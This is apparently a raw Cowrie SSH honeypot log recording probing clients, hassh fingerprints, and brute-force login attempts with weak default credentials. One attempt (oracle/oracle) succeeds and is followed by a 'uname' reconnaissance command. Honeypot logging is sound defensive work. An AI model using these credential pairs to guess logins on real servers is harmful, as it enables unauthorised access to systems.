{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:33.367410Z","src_ip":"109.172.54.111","session":"11bf2eb9e132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:33.464993Z","src_ip":"109.172.54.111","session":"11bf2eb9e132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass1234","message":"login attempt [root/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:33.757705Z","src_ip":"109.172.54.111","session":"11bf2eb9e132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:34.392613Z","src_ip":"4.184.246.230","session":"ee26f7976d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:34.857284Z","src_ip":"109.172.54.111","session":"11bf2eb9e132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40808,"dst_ip":"159.203.135.109","dst_port":22,"session":"39e8d6b02de0","protocol":"ssh","message":"New connection: 83.168.110.85:40808 (159.203.135.109:22) [session: 39e8d6b02de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:42.146167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:42.150988Z","src_ip":"83.168.110.85","session":"39e8d6b02de0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:42.272249Z","src_ip":"83.168.110.85","session":"39e8d6b02de0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:42.635838Z","src_ip":"83.168.110.85","session":"39e8d6b02de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:43.880864Z","src_ip":"83.168.110.85","session":"39e8d6b02de0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59148,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9e3b0687794","protocol":"ssh","message":"New connection: 83.168.110.85:59148 (159.203.135.109:22) [session: c9e3b0687794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:52.845654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:52.849749Z","src_ip":"83.168.110.85","session":"c9e3b0687794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:52.969935Z","src_ip":"83.168.110.85","session":"c9e3b0687794","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:53.334354Z","src_ip":"83.168.110.85","session":"c9e3b0687794","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:53.631657Z","src_ip":"83.168.110.85","session":"c9e3b0687794","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:53.634798Z","src_ip":"83.168.110.85","session":"c9e3b0687794","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:53.757958Z","src_ip":"83.168.110.85","session":"c9e3b0687794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:53.762812Z","src_ip":"83.168.110.85","session":"c9e3b0687794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":45950,"dst_ip":"159.203.135.109","dst_port":22,"session":"098f98c76ea2","protocol":"ssh","message":"New connection: 213.209.159.56:45950 (159.203.135.109:22) [session: 098f98c76ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:58.075666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:58.079813Z","src_ip":"213.209.159.56","session":"098f98c76ea2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:58.161586Z","src_ip":"213.209.159.56","session":"098f98c76ea2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"francisca","password":"francisca","message":"login attempt [francisca/francisca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:58.563287Z","src_ip":"213.209.159.56","session":"098f98c76ea2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"francisca","password":"francisca1","message":"login attempt [francisca/francisca1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:59.648223Z","src_ip":"213.209.159.56","session":"098f98c76ea2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"francisca","password":"francisca123","message":"login attempt [francisca/francisca123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:00.733197Z","src_ip":"213.209.159.56","session":"098f98c76ea2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":58434,"dst_ip":"10.17.0.5","dst_port":22,"session":"30976ab2cc71","protocol":"ssh","message":"New connection: 103.122.221.179:58434 (10.17.0.5:22) [session: 30976ab2cc71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:01.001961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:01.007159Z","src_ip":"103.122.221.179","session":"30976ab2cc71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:01.260427Z","src_ip":"103.122.221.179","session":"30976ab2cc71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"francisca","password":"francisca1234","message":"login attempt [francisca/francisca1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:01.822324Z","src_ip":"213.209.159.56","session":"098f98c76ea2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987123","message":"login attempt [root/987123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:02.021033Z","src_ip":"103.122.221.179","session":"30976ab2cc71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"francisca","password":"francisca12345","message":"login attempt [francisca/francisca12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:02.909888Z","src_ip":"213.209.159.56","session":"098f98c76ea2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:03.305460Z","src_ip":"103.122.221.179","session":"30976ab2cc71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36272,"dst_ip":"159.203.135.109","dst_port":22,"session":"a74300159bda","protocol":"ssh","message":"New connection: 83.168.110.85:36272 (159.203.135.109:22) [session: a74300159bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:03.358196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:03.363241Z","src_ip":"83.168.110.85","session":"a74300159bda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:03.484735Z","src_ip":"83.168.110.85","session":"a74300159bda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:03.847975Z","src_ip":"83.168.110.85","session":"a74300159bda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:03.995678Z","src_ip":"213.209.159.56","session":"098f98c76ea2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:05.023538Z","src_ip":"83.168.110.85","session":"a74300159bda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37026,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0fc6b998828","protocol":"ssh","message":"New connection: 83.168.110.85:37026 (159.203.135.109:22) [session: d0fc6b998828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:13.946450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:13.951325Z","src_ip":"83.168.110.85","session":"d0fc6b998828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:14.071978Z","src_ip":"83.168.110.85","session":"d0fc6b998828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":48300,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ed46b3e50d1","protocol":"ssh","message":"New connection: 4.184.246.230:48300 (10.17.0.5:22) [session: 0ed46b3e50d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:14.232008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:14.237118Z","src_ip":"4.184.246.230","session":"0ed46b3e50d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:14.322834Z","src_ip":"4.184.246.230","session":"0ed46b3e50d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:14.437724Z","src_ip":"83.168.110.85","session":"d0fc6b998828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bling","message":"login attempt [root/bling] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:13:14.696367Z","src_ip":"4.184.246.230","session":"0ed46b3e50d1","protocol":"ssh"}
